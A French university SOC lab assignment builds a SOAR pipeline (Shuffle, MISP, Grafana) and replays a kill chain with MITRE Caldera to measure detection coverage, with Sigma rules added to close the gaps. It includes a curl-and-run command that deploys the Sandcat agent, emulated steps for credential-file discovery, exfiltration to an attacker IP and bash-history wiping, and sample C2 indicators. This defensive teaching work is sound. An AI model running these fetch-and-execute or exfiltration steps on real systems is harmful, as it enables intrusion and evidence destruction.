Aller au contenu
TAAF-OPS --:-- UTC

TP Bonus — Capstone SOAR : automatiser la réponse

Acte 2 · SIEM Bonus · Capstone Shuffle · MISP · Caldera

Auteur : Thibaut Fontaine — Kodetis Institution : Université de la Réunion Date : 2026



📡 Poste SOC · La Réunion — Acte 2, Détecter : vous armez Alfred Faure (Crozet), ~2 900 km. Liaison SATCOM nominale.

Le capstone du module SIEM : passer de la détection à la réponse orchestrée, et éprouver vos détections sur une kill-chain complète rejouée par un émulateur adversaire. À la fin, vous saurez combien d’étapes sont vraiment couvertes et combien passent au travers.

Détecter, c’est bien ; réagir à 3 h du matin sur une base isolée, c’est mieux quand c’est automatique. Vous orchestrez la réponse (Shuffle + MISP + Caldera) : rejouée, l’attaque du jour J ne se contente plus de sonner — l’alerte s’enrichit, notifie et documente d’elle-même.

  • Comprendre le pattern SOAR : alerte → enrichissement → décision automatique → notification.
  • Déployer un workflow Shuffle qui consomme un webhook Grafana et enrichit avec MISP.
  • Construire un feed CTI minimaliste dans MISP (offline, cadre CERT-FR).
  • Rejouer la kill chain jour J avec MITRE Caldera (T1078 → T1098 → T1213 → T1041).
  • Mesurer la couverture réelle : combien d’étapes de la kill chain ont déclenché une alerte ?
graph TB
 subgraph "Émulation adversaire"
 CAL[MITRE Caldera
port 8888] AGENT[Agent Sandcat
déployé sur monitoring] end subgraph "Détection (TPs précédents)" LOKI[(Loki)] GRAF[Grafana Alerting] end subgraph "SOAR" SHUF[Shuffle
port 3001] WORK[/Workflow YAML/] end subgraph "CTI" MISP[MISP
port 8443
~3 GB RAM] IOC[/IOC feed offline/] end subgraph "Sortie" DISC([Discord enrichi]) end CAL --> AGENT AGENT --> LOKI LOKI --> GRAF GRAF -->|webhook| SHUF SHUF --> WORK WORK -->|lookup IOC| MISP MISP --> IOC WORK -->|notif enrichie| DISC classDef red fill:#ff9999,stroke:#333,stroke-width:2px classDef blue fill:#99ccff,stroke:#333,stroke-width:2px classDef purple fill:#cc99ff,stroke:#333,stroke-width:2px class CAL,AGENT red class LOKI,GRAF blue class SHUF,WORK,MISP,IOC,DISC purple

VM SAE avec 8-12 Go RAM (Wazuh non requis ici, mais MISP demande ~3 Go).

Vous arrivez avec le repo taaf-detections enrichi des TPs 1-3 SIEM + Module 1 LotL :

Fenêtre de terminal
cd ~/taaf-detections
ls rules/ # initial_access/, persistence/, privilege_escalation/, execution/, collection/, exfiltration/, correlation/

Réutilisez $DISCORD_WEBHOOK_CRITICAL du TP2 Alerting.


Fenêtre de terminal
# Sur la VM sae
git clone https://github.com/Shuffle/Shuffle.git
cd Shuffle
docker compose up -d
# Vérifier
docker compose ps
# shuffle-backend, shuffle-frontend, shuffle-orborus, opensearch

Accès : http://IP_SAE:3001 → créer un compte admin.

Fenêtre de terminal
# Déploiement docker minimal
git clone https://github.com/MISP/misp-docker.git
cd misp-docker
cp template.env .env
# Éditer .env : BASE_URL=https://IP_SAE, ADMIN_PASSWORD=...
docker compose up -d

Accès : https://IP_SAE:8443 → admin / password configuré.

Fenêtre de terminal
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
docker build -t caldera:latest .
docker run -d --name caldera \
-p 8888:8888 -p 7010:7010 \
-v $(pwd)/conf:/usr/src/app/conf:rw \
caldera:latest --insecure

Accès : http://IP_SAE:8888 → admin / admin (changer après première connexion).

📸 Capture obligatoire #1 : 3 dashboards Shuffle, MISP, Caldera ouverts dans le navigateur.


Dans Shuffle → Workflows+ New Workflow → name TAAF-Triage-Alerte.

Ajoutez un Trigger Webhook :

  • Copiez l’URL générée par Shuffle (http://IP_SAE:3001/api/v1/hooks/<UUID>).
  • Dans Grafana → AlertingContact points+ Add :
    • Name : shuffle-soar
    • Integration : Webhook
    • URL : URL Shuffle copiée
    • Method : POST
  • Routez vos alertes critical vers ce contact point (en plus de Discord).

Test : déclencher manuellement une alerte Grafana → Shuffle reçoit le payload JSON.

Ajoutez une action Repeat back to me pour visualiser le payload. Vous y trouverez (entre autres) :

{
"commonLabels": {
"alertname": "VPN Authentication from External IP (TAAF)",
"severity": "high",
"attack_id": "T1078"
},
"alerts": [
{
"labels": {
"src_ip": "203.0.113.42",
"user": "e.bernard"
}
}
]
}

Ajoutez un nœud Liquid Template pour extraire :

{
"ip": "{{ exec.alerts[0].labels.src_ip }}",
"user": "{{ exec.alerts[0].labels.user }}",
"rule": "{{ exec.commonLabels.alertname }}",
"attack_id": "{{ exec.commonLabels.attack_id }}"
}

Ajoutez l’app MISP dans Shuffle. Configurez l’authentification (URL + API key MISP).

Action Search attribute :

  • Field : value
  • Value : {{ ip }} (extrait à l’étape précédente)
  • Type : ip-src

→ Si l’IP est dans MISP, Shuffle récupère les attributs (tag, threat level, events liés).

Ajoutez un Conditional :

if (misp_result.length > 0) {
enriched_message = "🚨 [CONFIRMED MALICIOUS] " + rule + "\n" +
"User: " + user + "\n" +
"IP: " + ip + " (in MISP: " + misp_result[0].threat_level + ")\n" +
"ATT&CK: " + attack_id
} else {
enriched_message = "⚠️ [UNKNOWN IP] " + rule + "\n" +
"User: " + user + "\n" +
"IP: " + ip + " (NOT in MISP — investigate)\n" +
"ATT&CK: " + attack_id
}

Ajoutez l’app Discord dans Shuffle :

  • Action : Send message
  • Webhook URL : $DISCORD_WEBHOOK_CRITICAL
  • Message : {{ enriched_message }}

Cliquez Save puis Execute sur un payload test.

📸 Capture obligatoire #2 : workflow Shuffle complet (graphe) + run successful.

📸 Capture obligatoire #3 : message Discord enrichi avec contexte MISP.


MISP propose des feeds publics. Pour ce TP, importons un mini-feed local :

Fenêtre de terminal
# Préparer le fichier IOC (à pousser dans MISP)
cat > /tmp/taaf-iocs.json <<'EOF'
{
"Event": {
"info": "TAAF — IOCs jour J",
"threat_level_id": "1",
"analysis": "2",
"Attribute": [
{"type": "ip-src", "value": "203.0.113.42", "comment": "VPN externe (jour J 09h12)"},
{"type": "ip-dst", "value": "185.220.101.42", "comment": "C2 jour J (10h15)"},
{"type": "domain", "value": "cdn-meteo-sync.net", "comment": "DNS tunneling jour J"},
{"type": "filename", "value": "MAJ_SATCOM_urgent.xlsm", "comment": "Phishing attachment"}
]
}
}
EOF
# Importer via l'API MISP
curl -k -X POST "https://IP_SAE:8443/events/add" \
-H "Authorization: $MISP_API_KEY" \
-H "Content-Type: application/json" \
-d @/tmp/taaf-iocs.json

Dashboard MISP → Events → vous voyez l’event “TAAF — IOCs jour J” avec les 4 attributs.

5.3 — Tester le workflow Shuffle avec lookup positif

Section intitulée « 5.3 — Tester le workflow Shuffle avec lookup positif »

Déclenchez à nouveau l’alerte avec src_ip=203.0.113.42. Cette fois, le workflow Shuffle doit :

  1. Recevoir le webhook Grafana.
  2. Extraire l’IP 203.0.113.42.
  3. Lookup MISP → trouve l’event TAAF IOCs.
  4. Notifier Discord avec [CONFIRMED MALICIOUS] + threat level + lien event MISP.

📸 Capture obligatoire #4 : notification Discord avec le préfixe [CONFIRMED MALICIOUS] et le contexte MISP.


6. Étape 4 — Émulation Caldera de la kill chain jour J

Section intitulée « 6. Étape 4 — Émulation Caldera de la kill chain jour J »

6.1 — Déployer un agent Sandcat sur la VM monitoring

Section intitulée « 6.1 — Déployer un agent Sandcat sur la VM monitoring »

Dans Caldera UI → Agents+ Deploy → copiez la commande Linux Sandcat :

Fenêtre de terminal
# Sur la VM monitoring
server="http://IP_SAE:8888";
curl -s -X POST -H "file:sandcat.go" -H "platform:linux" \
$server/file/download > sandcat.go
chmod +x sandcat.go
nohup ./sandcat.go -server $server -group red -v &

Vérification Caldera UI → Agents → 1 agent listé en green.

6.2 — Construire une opération qui rejoue la kill chain

Section intitulée « 6.2 — Construire une opération qui rejoue la kill chain »

Caldera UI → Operations+ New operation :

ParamètreValeur
NameTAAF-Jour-J-Replay
Groupred
AdversaryCustom (à créer ci-dessous)

Créez un adversary custom TAAF Jour J avec les abilities :

OrderAbilityATT&CK
1Discovery — list users (/etc/passwd)T1087.001
2Credential access — VPN auth from externalT1078 (simulé via logger)
3Collection — read CLASSIFIED fileT1213
4Exfiltration — POST file to attacker IPT1041
5Defense evasion — clear bash historyT1070.003

Sauvegarder l’opération et Run.

📸 Capture obligatoire #5 : opération Caldera en cours avec les 5 abilities en file d’attente.

Dans Grafana → Explore → datasource Loki :

{job=~"auth|falco|postgres"} | logfmt | __error__=""

Vous devez voir tomber, en quelques minutes :

ATT&CKSourceAlerte tombe-t-elle ?
T1087.001 (discovery)Falco (process_creation)À vérifier
T1078 (VPN auth)auth log → règle TP1 #1OUI (votre règle existe)
T1213 (read CLASSIFIED)Falco → règle TP1 #2OUI
T1041 (exfil)postgres → règle TP1 #3OUI si la requête PG passe
T1070.003 (anti-forensic)Falco (file_modify)À vérifier

📸 Capture obligatoire #6 : Discord avec ≥ 3 alertes consécutives + 1 alerte enrichie via Shuffle/MISP.


7. Étape 5 — Mesurer la couverture de bout en bout

Section intitulée « 7. Étape 5 — Mesurer la couverture de bout en bout »
Étape kill chainATT&CKCaldera ability exécutéeAlerte tombée ?Délai (ability → alerte)SOAR enrichi ?
DiscoveryT1087.001N/AN/A
Credential AccessT1078~30s
CollectionT1213~10s
ExfiltrationT1041~45s
Defense EvasionT1070.003N/AN/A

Taux de détection : 3/5 = 60 %.

Lecture critique :

  • ✅ Les 3 étapes que vous avez explicitement codées au TP1 SIEM sont détectées.
  • ❌ Les 2 étapes “périphériques” (discovery, anti-forensic) passent au travers — vous n’avez pas écrit de règle pour elles.

Pour chaque étape ratée, proposer une règle Sigma :

Pour T1087.001 (Discovery) :

title: Suspicious User Enumeration via /etc/passwd
logsource:
product: falco
detection:
selection:
rule|contains: "Read sensitive file"
output_fields.fd.name: "/etc/passwd"
condition: selection
level: medium
tags:
- attack.discovery
- attack.t1087.001

Pour T1070.003 (Anti-forensic) :

title: Bash History Cleared
logsource:
product: falco
detection:
selection:
rule|contains: "Truncate sensitive file"
output_fields.fd.name|endswith: ".bash_history"
condition: selection
level: high
tags:
- attack.defense_evasion
- attack.t1070.003

Ajoutez-les au repo taaf-detections, recompilez, redéployez. Relancez Caldera → la couverture passe à 5/5.


Maintenant que vous voyez tout, que faites-vous ? Une bonne réponse SOAR ≠ ping Discord — c’est un plan d’action automatisé.

NiveauAction SOARRisqueQuand l’utiliser
L0Notification enrichie🟢 nulToujours (notre TP)
L1Création ticket Jira/GitLab🟢 nulPour traçabilité opérationnelle
L2Quarantaine réseau (block IP attaquant)🟡 modéréIOC confirmé MISP threat-level=High
L3Reset auth (kick session)🟠 risquéCompromission confirmée
L4Isolation hôte (host containment)🔴 hautDomain admin compromis

Ajoutez un nœud HTTP dans le workflow Shuffle :

url: http://IP_FW/api/firewall/block
method: POST
body: |
{ "ip": "{{ ip }}", "duration_minutes": 60, "reason": "SOAR L2 — MISP threat-level High" }

Conditionné par misp_result.threat_level == "High".

→ Quand une alerte tombe avec IOC confirmé MISP, l’IP est bloquée 1 heure automatiquement.

  • L’attaquant peut spoofer une IP allié pour faire blacklister un partenaire légitime (DoS-by-SOAR).
  • Un faux positif L4 peut isoler un serveur de prod critique.

Règle d’or : automatiser L0/L1 sans hésitation, L2/L3 avec garde-fous (whitelist, durée bornée), L4 uniquement sur validation humaine.


  1. Stack SOAR déployée : 3 captures (Shuffle + MISP + Caldera up).
  2. Workflow Shuffle : capture du graphe + payload test + run successful.
  3. Event MISP créé avec ≥ 4 IOCs jour J.
  4. Notification Discord enrichie : capture avec [CONFIRMED MALICIOUS].
  5. Opération Caldera rejouant la kill chain.
  6. Tableau de couverture (5+ étapes, taux de détection calculé).
  7. 2 règles Sigma comblant les angles morts identifiés.
  8. Paragraphe sur la dette SOAR (niveaux L0-L4, risques de l’automatisation).
  9. (Bonus) : workflow L2 (block IP automatique) avec garde-fou.
CritèrePondération
Stack SOAR up (Shuffle + MISP + Caldera)15 %
Workflow Shuffle complet et fonctionnel20 %
Enrichissement MISP visible dans Discord15 %
Opération Caldera exécutée jusqu’au bout15 %
Tableau de couverture (≥ 5 étapes mesurées)15 %
2 règles Sigma comblant les angles morts10 %
Paragraphe sur la dette SOAR (L0-L4)10 %
(Bonus) workflow L2 avec garde-fous+10 % bonus

Format de rendu : PDF nom-prenom-promo.pdf sur Moodle.


3/5 à 4/5 avant les nouvelles règles, 5/5 après. L’étudiant qui rate complètement (0/5) a probablement un problème de routage des alertes Grafana → Shuffle. L’étudiant qui détecte 5/5 sans avoir écrit les 2 règles supplémentaires triche ou a déjà des règles préexistantes.

  • Workflow Shuffle qui ne fait que forwarder (pas d’enrichissement MISP) → -15 % (manque l’essence du SOAR).
  • Pas de lookup MISP ou MISP vide → -10 % (le S de SOAR = enrichissement).
  • Caldera mais pas d’agent déployé → -10 % (l’opération ne fait rien).
  • Tableau de couverture sans calcul de taux → -5 %.
  • Pas de discussion sur la dette SOAR (L0-L4) → -10 % (manque la maturité opérationnelle).
  • L2/L3 automatique sans garde-fou → -10 % et discussion : un faux positif L3 bloque un user légitime à 3 h du matin sur une base isolée.

L’opération Caldera de ce TP est le précurseur du TP Purple Team de l’Acte 3 :

  • Ici, on rejoue la kill chain pour valider la couverture détection (vue Blue).
  • À l’Acte 3, on l’utilise pour valider la couverture audit + détection + remédiation (vue Purple complète).

L’étudiant arrive au TP Purple Team avec un adversary Caldera déjà construit — il n’a plus qu’à le rejouer après remédiation pour mesurer le delta.

Le rapport final (tp-rapport-audit-ia) consomme :

  • Le tableau de couverture (taux de détection).
  • Les règles ajoutées en post-mortem (preuve d’apprentissage continu).
  • La dette SOAR documentée (niveau L0-L4 acceptable pour TAAF).
Niveau SOARRecommandation TAAF
L0 (notification enrichie)✅ Déployer immédiatement
L1 (ticket auto)✅ Brancher GitLab Issues
L2 (block IP)🟡 Avec whitelist + durée bornée 1h
L3 (reset auth)🟡 Validation humaine via bouton Discord (button webhook)
L4 (isolation hôte)🔴 Toujours validation humaine (risque trop élevé sur base isolée sans astreinte)